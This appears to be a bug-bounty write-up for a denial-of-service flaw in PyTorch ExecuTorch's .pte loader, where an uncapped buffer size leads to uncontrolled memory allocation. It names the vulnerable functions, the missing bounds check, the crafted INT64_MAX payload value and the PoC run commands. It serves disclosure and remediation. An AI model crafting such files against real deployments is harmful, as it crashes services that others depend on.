File size: 2,899 Bytes
09ac263 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | # ExecuTorch CWE-789: Uncontrolled Memory Allocation in .pte Format
## Status: FINDING CONFIRMED — READY TO SUBMIT
## Severity: High (P2) — DoS | CVSS 7.5
## Target
- **Repo:** pytorch/executorch
- **Platform:** huntr.com
- **Format:** `.pte` (FlatBuffers-based PyTorch Edge inference format)
## Vulnerable Files
| File | Function | Issue |
|---|---|---|
| `runtime/executor/method_meta.cpp` | `MethodMeta::memory_planned_buffer_size()` | Reads `non_const_buffer_sizes[index+1]` from FlatBuffer; only checks `>= 0`, no upper-bound cap |
| `extension/pybindings/pybindings.cpp` | `PyProgram` constructor | `std::vector<uint8_t>(buffer_size)` with uncapped attacker value → `std::bad_alloc` |
| `examples/portable/executor_runner/executor_runner.cpp` | buffer allocation loop | `std::make_unique<uint8_t[]>(buffer_size)` with uncapped attacker value → OOM crash |
## Missing Check
```cpp
// Present in memory_planned_buffer_size():
ET_CHECK_OR_RETURN_ERROR(size >= 0, InvalidProgram, ...); // rejects negatives
// MISSING:
constexpr int64_t kMaxPlannedBufferSize = 32LL * 1024 * 1024 * 1024;
ET_CHECK_OR_RETURN_ERROR(size <= kMaxPlannedBufferSize, InvalidProgram, ...);
```
## FlatBuffer Field
```
table ExecutionPlan {
...
non_const_buffer_sizes: [int64]; // field index 8 — attacker-controlled
}
```
**Index note:** Index 0 of the vector is reserved internally.
`memory_planned_buffer_size(j)` reads `non_const_buffer_sizes[j + 1]`.
Malicious payload uses 2 elements: `[0, INT64_MAX]`.
## Attack
Attacker crafts a `.pte` with:
```
Program.execution_plan[0].non_const_buffer_sizes = [0, 9223372036854775807]
```
Victim loads the file → runtime reads INT64_MAX → allocates INT64_MAX bytes → crash.
## PoC Files
| File | Purpose |
|---|---|
| `poc_executorch_oom.py` | Builds `malicious.pte` and triggers OOM |
| `malicious.pte` | 104-byte crafted FlatBuffer (generated by script) |
| `poc-evidence.html` | Evidence page with real run output |
| `report_final.md` | Submission-ready huntr report |
## Reproduction
```bash
# Dependency
pip install flatbuffers --break-system-packages
# Build malicious.pte and trigger allocation
python3 poc_executorch_oom.py
```
Expected output (allocation simulation):
```
[*] Saved malicious.pte (104 bytes)
[*] File identifier at offset 4: b'ET12'
[+] MemoryError ← confirmed OOM (equivalent to std::bad_alloc in C++ runtime)
```
Binary verification:
```
File size : 104 bytes
File ident : b'ET12'
INT64_MAX pos : byte 80 value=ffffffffffffff7f
```
## Full Runtime Crash (requires executorch installed)
```bash
# Option A — Python runtime
pip install executorch
python3 poc_executorch_oom.py
# → MemoryError / SystemError (std::bad_alloc wrapped)
# Option B — C++ executor_runner
./executor_runner --model_path malicious.pte
# → terminate called after throwing an instance of 'std::bad_alloc'
```
|